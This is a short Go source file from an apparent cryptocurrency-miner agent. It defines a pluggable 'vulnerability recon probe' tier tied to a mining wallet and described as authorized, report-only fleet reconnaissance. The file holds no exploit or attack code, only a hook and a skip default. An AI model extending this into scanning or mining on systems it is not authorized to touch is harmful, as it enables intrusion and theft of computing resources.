package miner import ( "context" "crypto-miner-agent/config" ) // vulnProbeRunner is injected by the client package (avoids import cycle). var vulnProbeRunner func() TierAttempt // SetVulnProbeRunner registers the read-only vulnerability recon probe. Nil restores default skip. func SetVulnProbeRunner(fn func() TierAttempt) { vulnProbeRunner = fn } // VulnProbeRunnerWired reports whether a custom probe runner is registered (tests inject before chain wiring). func VulnProbeRunnerWired() bool { return vulnProbeRunner != nil } // RunVulnProbeTier runs authorized fleet vulnerability recon (report-only, no exploit). func RunVulnProbeTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt { select { case <-ctx.Done(): return TierAttempt{Tier: TierVulnProbe, Error: ctx.Err().Error(), Wallet: cfg.Wallet} default: } if vulnProbeRunner != nil { return vulnProbeRunner() } return TierAttempt{ Tier: TierVulnProbe, OK: true, Wallet: cfg.Wallet, Details: map[string]interface{}{ "skipped": true, "reason": "vuln probe runner not wired", }, } }